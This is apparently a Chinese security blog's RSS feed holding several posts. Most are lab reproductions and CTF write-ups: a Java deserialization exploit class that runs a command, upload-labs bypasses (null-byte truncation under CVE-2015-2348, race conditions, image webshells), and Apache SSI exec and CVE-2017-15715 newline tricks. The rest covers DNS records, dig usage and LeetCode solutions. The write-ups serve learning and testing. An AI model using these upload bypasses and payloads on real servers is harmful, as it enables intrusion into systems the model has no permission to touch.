&lt;p&gt;docker开启环境之后，首先需要生成一个 &lt;code&gt;TouchFile&lt;/code&gt; 恶意文件，然后编译成class文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// javac TouchFile.java


public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {&quot;touch&quot;, &quot;/tmp/success&quot;};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用python开一个服务器，监听8001端口&lt;/p&gt;
&lt;p&gt;再开启一个rmi服务器，靶机ip为192.168.99.100，本机相对靶机是192.168.99.1&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580469670376.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这时候将payload发送过去，payload只是演示了在 tmp 目录下创建文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580469645918.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580469708254.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/#h4.1_%E5%88%A9%E7%94%A8%E8%BF%87%E7%A8%8B%E6%A6%82%E8%BF%B0&quot;&gt;Java反序列化漏洞通用利用分析&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>upload-lab做题笔记</title><link>https://rayepeng.net/posts/upload-lab%E5%81%9A%E9%A2%98%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://rayepeng.net/posts/upload-lab%E5%81%9A%E9%A2%98%E7%AC%94%E8%AE%B0/</guid><pubDate>Thu, 30 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Pass-20&lt;/h2&gt;
&lt;p&gt;这个算是逻辑漏洞了&lt;br /&gt;
reset 函数重置当前指针， end指向最后一个元素，这个最后并不是指最后的，而是最后加入数组的元素&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php &amp;gt; $a = array(1,2,3,4,5);
php &amp;gt; current($a);
php &amp;gt; echo current($a);
1
php &amp;gt; echo next($a);
2
php &amp;gt; echo current($a);
2
php &amp;gt; echo end($a);
5
php &amp;gt; echo current($a);
5
php &amp;gt; echo reset($a);
1
php &amp;gt; echo current($a);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是这样就可以理解了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580398124587.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;关键就在于用户可以控制这个文件名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$file = empty($_POST[&apos;save_name&apos;]) ? $_FILES[&apos;upload_file&apos;][&apos;name&apos;] : $_POST[&apos;save_name&apos;];
if (!is_array($file)) {
    $file = explode(&apos;.&apos;, strtolower($file));
}
var_dump($file);
$ext = end($file);
var_dump($ext);
$allow_suffix = array(&apos;jpg&apos;,&apos;png&apos;,&apos;gif&apos;);
if (!in_array($ext, $allow_suffix)) {
    $msg = &quot;禁止上传该后缀文件!&quot;;
}else{
    $file_name = reset($file) . &apos;.&apos; . $file[count($file) - 1];
    $temp_file = $_FILES[&apos;upload_file&apos;][&apos;tmp_name&apos;];
    $img_path = UPLOAD_PATH . &apos;/&apos; .$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
        $msg = &quot;文件上传成功！&quot;;
        $is_upload = true;
    } else {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时也要熟悉文件上传的数据包，复习了一遍 POST 方式传递数组同时可以规定元素的顺序&lt;/p&gt;
&lt;h2&gt;Pass-19&lt;/h2&gt;
&lt;p&gt;CVE-2015-2348 利用即可（&lt;strong&gt;漏洞影响版本：PHP 5.4.38~5.6.6&lt;/strong&gt;）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;move_uploaded_file ( string $filename , string ​$destination )&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这次的漏洞就出现在参数$destination,这个参数的是将用户上传的文件移动到最终的目的地址。如果$destionation变量是从用户$_GET或者$_POST中获取的并且我们可控，那么我们就可以利用空字符\00来截断后面的拓展名，从而造成任意文件上传&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580398163615.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Pass-18&lt;/h2&gt;
&lt;p&gt;这一关代码很多，最后没想到是通过条件竞争来达到目的&lt;/p&gt;
&lt;p&gt;但是由于限制了后缀名，参考了很多博客都是利用 apache 解析漏洞&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580564170919.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Pass-17&lt;/h2&gt;
&lt;p&gt;也是一个条件竞争的，关键代码:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(move_uploaded_file($temp_file, $upload_file)){
    if(in_array($file_ext,$ext_arr)){
         $img_path = UPLOAD_PATH . &apos;/&apos;. rand(10, 99).date(&quot;YmdHis&quot;).&quot;.&quot;.$file_ext;
         rename($upload_file, $img_path);
         $is_upload = true;
    }else{
        $msg = &quot;只允许上传.jpg|.png|.gif类型文件！&quot;;
        unlink($upload_file);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们上传一个 &lt;code&gt;shell.php&lt;/code&gt;&lt;br /&gt;
内容为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php file_put_contents(&quot;info.php&quot;, &quot;&amp;lt;?php phpinfo(); ?&amp;gt;&quot;)?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后去访问这个文件，就能生成 info.php&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580564183356.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;还有一种方式先上传 &lt;code&gt;shell.php:.jpg&lt;/code&gt; 绕过限制&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580564192098.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样会生成 &lt;code&gt;shell.php&lt;/code&gt; 的空文件，然后利用Windows的特性,尽管上传的文件被删除了，但是依旧覆盖了原有的文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580564202994.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Pass-16&lt;/h2&gt;
&lt;p&gt;这题原来是有bug的，不过现在修改了&lt;/p&gt;
&lt;p&gt;原来的代码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/20180829084054-2fdf5136-ab24-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以很明显的看到，就算不是gif图片，也能够上传。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/2657#toc-0&quot;&gt;参考&lt;/a&gt;这篇文章，这题涉及到了二次渲染的绕过问题&lt;/p&gt;
&lt;p&gt;文章中给出的图片：&lt;a href=&quot;https://github.com/Yang1k/upload-labs-Pass16&quot;&gt;链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这样，在上传之后才能够保证二次渲染之后还是有马&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/11.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Pass-15&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;exif_imagetype&lt;/code&gt; 检测是否为图片&lt;/p&gt;
&lt;p&gt;制作图片马，然后上传即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;copy normal.jpg /b + shell.php /a webshell.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return &quot;gif&quot;;
            break;
        case IMAGETYPE_JPEG:
            return &quot;jpg&quot;;
            break;
        case IMAGETYPE_PNG:
            return &quot;png&quot;;
            break;    
        default:
            return false;
            break;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pass-14&lt;/h2&gt;
&lt;p&gt;上传图片马即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function isImage($filename){
    $types = &apos;.jpeg|.png|.gif&apos;;
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)&amp;gt;=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pass-13&lt;/h2&gt;
&lt;p&gt;判断了文件头，上传图片马即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function getReailFileType($filename){
    $file = fopen($filename, &quot;rb&quot;);
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack(&quot;C2chars&quot;, $bin);    
    $typeCode = intval($strInfo[&apos;chars1&apos;].$strInfo[&apos;chars2&apos;]);    
    $fileType = &apos;&apos;;    
    switch($typeCode){      
        case 255216:            
            $fileType = &apos;jpg&apos;;
            break;
        case 13780:            
            $fileType = &apos;png&apos;;
            break;        
        case 7173:            
            $fileType = &apos;gif&apos;;
            break;
        default:            
            $fileType = &apos;unknown&apos;;
        }    
        return $fileType;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pass-12&lt;/h2&gt;
&lt;p&gt;利用 &lt;code&gt;CVE-2015-2348&lt;/code&gt; ， &lt;code&gt;move_uploaded_file&lt;/code&gt; 函数遇到00会截断&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(isset($_POST[&apos;submit&apos;])){
    $ext_arr = array(&apos;jpg&apos;,&apos;png&apos;,&apos;gif&apos;);
    $file_ext = substr($_FILES[&apos;upload_file&apos;][&apos;name&apos;],strrpos($_FILES[&apos;upload_file&apos;][&apos;name&apos;],&quot;.&quot;)+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES[&apos;upload_file&apos;][&apos;tmp_name&apos;];
        $img_path = $_POST[&apos;save_path&apos;].&quot;/&quot;.rand(10, 99).date(&quot;YmdHis&quot;).&quot;.&quot;.$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = &quot;上传失败&quot;;
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pass-11&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;move_uploaded_file&lt;/code&gt; 遇到00会截断&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(isset($_POST[&apos;submit&apos;])){
    $ext_arr = array(&apos;jpg&apos;,&apos;png&apos;,&apos;gif&apos;);
    $file_ext = substr($_FILES[&apos;upload_file&apos;][&apos;name&apos;],strrpos($_FILES[&apos;upload_file&apos;][&apos;name&apos;],&quot;.&quot;)+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES[&apos;upload_file&apos;][&apos;tmp_name&apos;];
        $img_path = $_GET[&apos;save_path&apos;].&quot;/&quot;.rand(10, 99).date(&quot;YmdHis&quot;).&quot;.&quot;.$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>域名解析记录</title><link>https://rayepeng.net/posts/%E5%9F%9F%E5%90%8D%E8%A7%A3%E6%9E%90%E8%AE%B0%E5%BD%95/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%9F%9F%E5%90%8D%E8%A7%A3%E6%9E%90%E8%AE%B0%E5%BD%95/</guid><pubDate>Thu, 30 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;博客域名解析&lt;/h2&gt;
&lt;p&gt;如下是我在腾讯云后台的设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580398267570.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按照腾讯云的解释&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580398281271.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以查询到 &lt;a href=&quot;http://www.prontosil.club&quot;&gt;www.prontosil.club&lt;/a&gt; 的解析记录为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580398293465.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;经过多次的折腾发现，&lt;code&gt;@&lt;/code&gt; 解析记录只能有一个默认，只能有一个记录类型，比如我这里是A记录设置为 &lt;code&gt;@&lt;/code&gt;，那么CNAME记录就不能设置为 &lt;code&gt;@&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;同时我终于发现&lt;code&gt;www&lt;/code&gt; 和裸域的区别了，之前还一直以为是同一个&lt;/p&gt;
&lt;h2&gt;裸域&lt;/h2&gt;
&lt;p&gt;不加 www 的裸域名好处主要是域名更加简短、容易记忆。坏处就多了，讲几个主要的技术原因：&lt;br /&gt;
裸域名只能绑定 DNS 的 A 记录，不能绑定 CNAME 记录。也就是说你不能把裸域设定为另外域名的别名。很多时候这对管理不是很方便，特别是使用第三方托管服务的时候。如果第三方迁移服务器导致 IP 地址变更，你必须自己去更改 DNS 的 A 记录。&lt;/p&gt;
&lt;h2&gt;TXT记录&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580398319776.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这种可以用来出题&lt;/p&gt;
</content:encoded></item><item><title>每天一个Linux命令-dig</title><link>https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E4%B8%AAlinux%E5%91%BD%E4%BB%A4-dig/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E4%B8%AAlinux%E5%91%BD%E4%BB%A4-dig/</guid><pubDate>Thu, 30 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;基本选项：&lt;/h2&gt;
&lt;p&gt;@&amp;lt;服务器地址&amp;gt;：指定进行域名解析的域名服务器；&lt;br /&gt;
-b&amp;lt;ip地址&amp;gt;：当主机具有多个IP地址，指定使用本机的哪个IP地址向域名服务器发送域名查询请求；&lt;br /&gt;
-f&amp;lt;文件名称&amp;gt;：指定dig以批处理的方式运行，指定的文件中保存着需要批处理查询的DNS任务信息；&lt;br /&gt;
-P：指定域名服务器所使用端口号；&lt;br /&gt;
-t&amp;lt;类型&amp;gt;：指定要查询的DNS数据类型；&lt;br /&gt;
-x&amp;lt;IP地址&amp;gt;：执行逆向域名查询；&lt;br /&gt;
-4：使用IPv4；&lt;br /&gt;
-6：使用IPv6；&lt;br /&gt;
-h：显示指令帮助信息。&lt;/p&gt;
&lt;p&gt;比如我要用Google的DNS&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dig prontosil.club @8.8.8.8&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;查询解析记录&lt;br /&gt;
&lt;code&gt;dig prontosil.club -t CNAME&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;得到结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;;; QUESTION SECTION:
;prontosil.club.                        IN      CNAME

;; ANSWER SECTION:
prontosil.club.         600     IN      CNAME   2zeqwj.coding-pages.com.

;; Query time: 55 msec
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查询 TXT 记录&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dig _pages-challenge.prontosil.club -t TXT&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;得到结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;;; ANSWER SECTION:
_pages-challenge.prontosil.club. 600 IN TXT     &quot;rCAijO55WRowkOABj2JwHDEacVPpxo5rkCtDr2eG7J0=.ItO58cZnxtPdQAIzuUTAumBPxAZ4nwBjsGfmWl/Rhg0=&quot;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>每天一道leetcode-数组题</title><link>https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E9%81%93leetcode-%E6%95%B0%E7%BB%84%E9%A2%98/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E9%81%93leetcode-%E6%95%B0%E7%BB%84%E9%A2%98/</guid><pubDate>Thu, 30 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;整数转罗马数字&lt;/h2&gt;
&lt;p&gt;题目虽然不难，但是也整了好久，后来才明白转成罗马数字就是不断地做除法和模&lt;/p&gt;
&lt;p&gt;但是我这里遇到了一个问题，python中的字典本来是无序的，所以我就拆成了两个list来存放&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution(object):
    def intToRoman(self, num):
        &quot;&quot;&quot;
        :type num: int
        :rtype: str
        &quot;&quot;&quot;
        result = &apos;&apos;
        nums = [1000,900,500,400,100,90,50,40,10,9,5,4,1]
        chars = [&apos;M&apos;,&apos;CM&apos;,&apos;D&apos;,&apos;CD&apos;,&apos;C&apos;,&apos;XC&apos;,&apos;L&apos;,&apos;XL&apos;,&apos;X&apos;,&apos;IX&apos;,&apos;V&apos;,&apos;IV&apos;,&apos;I&apos;]
        for i in nums:
            x = num // i
            num = num % i
            result += x*chars[nums.index(i)]
        return result
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样当然是没问题得，但是我看到评论区居然有人用python的字典也成功了&lt;/p&gt;
&lt;p&gt;这就很疑惑了，于是我修改了代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution(object):
    def intToRoman(self, num):
        &quot;&quot;&quot;
        :type num: int
        :rtype: str
        &quot;&quot;&quot;
        result = &quot;&quot;
        roman = {1000:&apos;M&apos;,900:&apos;CM&apos;, 500:&apos;D&apos;, 400:&apos;CD&apos;, 100:&apos;C&apos;,90:&apos;XC&apos;, 50:&apos;L&apos;, 40: &apos;XL&apos;,10:&apos;X&apos;,9:&apos;IX&apos;, 5:&apos;V&apos;,4:&apos;IV&apos;, 1:&apos;I&apos;}
        for i in roman:
            x = num // i
            num = num % i
            result += x*roman[i]
        return result
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;居然也过了！！！&lt;/p&gt;
&lt;p&gt;难道leetcode的python解释器不一样？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580397588462.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;罗马数字转整数&lt;/h2&gt;
&lt;p&gt;这个题目就更妙了，秒就妙在对于哈希表的处理上&lt;/p&gt;
&lt;p&gt;如果是我想的话，只需要将上个题的哈希表倒过来就行了，但是实际上我们可以这样做：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;d = {&apos;I&apos;:1, &apos;IV&apos;:3, &apos;V&apos;:5, &apos;IX&apos;:8, &apos;X&apos;:10, &apos;XL&apos;:30, &apos;L&apos;:50, &apos;XC&apos;:80, &apos;C&apos;:100, &apos;CD&apos;:300, &apos;D&apos;:500, &apos;CM&apos;:800, &apos;M&apos;:1000}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本来 &lt;code&gt;IV&lt;/code&gt; 是代表4的，但是在这里却减去了1，其余的9，40，90都是类似的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
    def romanToInt(self, s: str) -&amp;gt; int:
        d = {&apos;I&apos;:1, &apos;IV&apos;:3, &apos;V&apos;:5, &apos;IX&apos;:8, &apos;X&apos;:10, &apos;XL&apos;:30, &apos;L&apos;:50, &apos;XC&apos;:80, &apos;C&apos;:100, &apos;CD&apos;:300, &apos;D&apos;:500, &apos;CM&apos;:800, &apos;M&apos;:1000}
        result = 0
        for i,n in enumerate(s):
            a = max(i-1,0)
            b = d.get(s[a:i+1], d[n]) # 每次取两个元素，如果有就说明是4，9这类，如果没有就采取默认的 d[n]
            result += b
        return result
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不得不说这种方法确实很巧妙，甚至可以浓缩为一句话&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;return sum(d.get(s[max(i-1, 0):i+1], d[n]) for i, n in enumerate(s))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过效率对比上来看，浓缩之后的速度反而变慢了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580397813912.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>漏洞复现-Apache SSI远程命令执行</title><link>https://rayepeng.net/posts/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-apache-ssi%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-apache-ssi%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/</guid><pubDate>Thu, 30 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;SSI远程命令执行&lt;/h2&gt;
&lt;p&gt;当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用 &lt;code&gt;&amp;lt;!--#exec cmd=”id” --&amp;gt;&lt;/code&gt; 语法执行命令。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;shtml 不是 html 而是一种服务器 API,shtml 是服务器动态产生的 htm&lt;br /&gt;
使用SSI(Server Side Include)的html文件扩展名，SSI（Server Side Include)，通常称为”服务器端嵌入”或者叫”服务器端包含”，是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580369820917.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上传之后，点击即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580369831464.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以尝试上传 shtml 文件来达到getshell的目的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580369842405.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;CVE-2017-15715 换行符截断&lt;/h2&gt;
&lt;p&gt;Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，1.php\x0A&lt;br /&gt;
将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。&lt;/p&gt;
&lt;p&gt;发送文件上传数据包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580371055451.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;需要添加一个 &lt;code&gt;\x0a&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580371064625.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上传后解析成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580371072709.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ps:也不知道如何构造文件上传数据包，我是写了一个表单来完成的,然后将相关的参数做一些修改即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
	&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
	&amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;form action=&quot;http://192.168.99.100:8080/index.php&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
    &amp;lt;label for=&quot;file&quot;&amp;gt;文件名：&amp;lt;/label&amp;gt;
    &amp;lt;input type=&quot;file&quot; name=&quot;file&quot; id=&quot;file&quot;&amp;gt;&amp;lt;br&amp;gt;
    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;提交&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;环境中处理文件上传的代码:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if(isset($_FILES[&apos;file&apos;])) {
    $name = basename($_POST[&apos;name&apos;]);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, [&apos;php&apos;, &apos;php3&apos;, &apos;php4&apos;, &apos;php5&apos;, &apos;phtml&apos;, &apos;pht&apos;])) {
        exit(&apos;bad file&apos;);
    }
    move_uploaded_file($_FILES[&apos;file&apos;][&apos;tmp_name&apos;], &apos;./&apos; . $name);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CVE-2015-2348 php任意文件上传&lt;/h2&gt;
&lt;p&gt;漏洞影响版本必须在5.4.x&amp;lt;= 5.4.39, 5.5.x&amp;lt;= 5.5.23, 5.6.x &amp;lt;= 5.6.7，详见CVE公告：&lt;a href=&quot;https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2348&quot;&gt;https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2348&lt;/a&gt;&lt;br /&gt;
这个漏洞的利用条件比较苛刻，尝试用 php5.5.9 nts 测试没有成功&lt;br /&gt;
并且测试的时候发现&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580397902588.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尽管加上了 \x00 但是实际上通过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$uploaded_name = $_FILES[ &apos;uploaded&apos; ][ &apos;name&apos; ];
var_dump($uploaded_name);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获取到的文件名并不会包含 &lt;code&gt;.jpg&lt;/code&gt;&lt;br /&gt;
这里就涉及到数据的获取问题了&lt;/p&gt;
&lt;p&gt;文件上传的数据包可以分成这几个部分：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580397931674.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一部分是会存储到 &lt;code&gt;$_FILES&lt;/code&gt; 数字中，并且 &lt;code&gt;name&lt;/code&gt; 是用来和后端交互的， &lt;code&gt;filename&lt;/code&gt; 是固定的一个名字，后端通过 &lt;code&gt;$_FILES[&apos;file&apos;][&apos;name&apos;]&lt;/code&gt; 来得到&lt;br /&gt;
第二部分的数据是存储到 &lt;code&gt;$_POST&lt;/code&gt; 和 &lt;code&gt;$_REQUEST&lt;/code&gt; 数组中的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580397942131.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;既然如此，那我就直接写死 &lt;code&gt;$target_path .= &quot;aaa.php\x00.jpg&quot;;&lt;/code&gt; 即可进行测试&lt;/p&gt;
&lt;p&gt;php 5.2.17 可以&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580397968376.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;php5.5.9 也可以&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580397984801.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果换成 php 7.3.4 nts 、5.3.29、5.4.45、5.6.9则报错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580397995259.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;漏洞原因：&lt;/h3&gt;
&lt;p&gt;php在5.6.6中将长度比较的安全检查逻辑给去掉了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580398009005.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;原来有安全检查的代码是这样子的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1580398026408.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/cyjaysun/p/4390930.html&quot;&gt;https://www.cnblogs.com/cyjaysun/p/4390930.html&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>roarctf一道文件上传题目的分析</title><link>https://rayepeng.net/posts/roarctf%E4%B8%80%E9%81%93%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%A2%98%E7%9B%AE%E7%9A%84%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://rayepeng.net/posts/roarctf%E4%B8%80%E9%81%93%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%A2%98%E7%9B%AE%E7%9A%84%E5%88%86%E6%9E%90/</guid><pubDate>Sun, 20 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;simpleupload&lt;/h2&gt;
&lt;p&gt;这题苏师傅做出来了，但是我对着苏师傅简陋的wp没复现出来。桑心&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
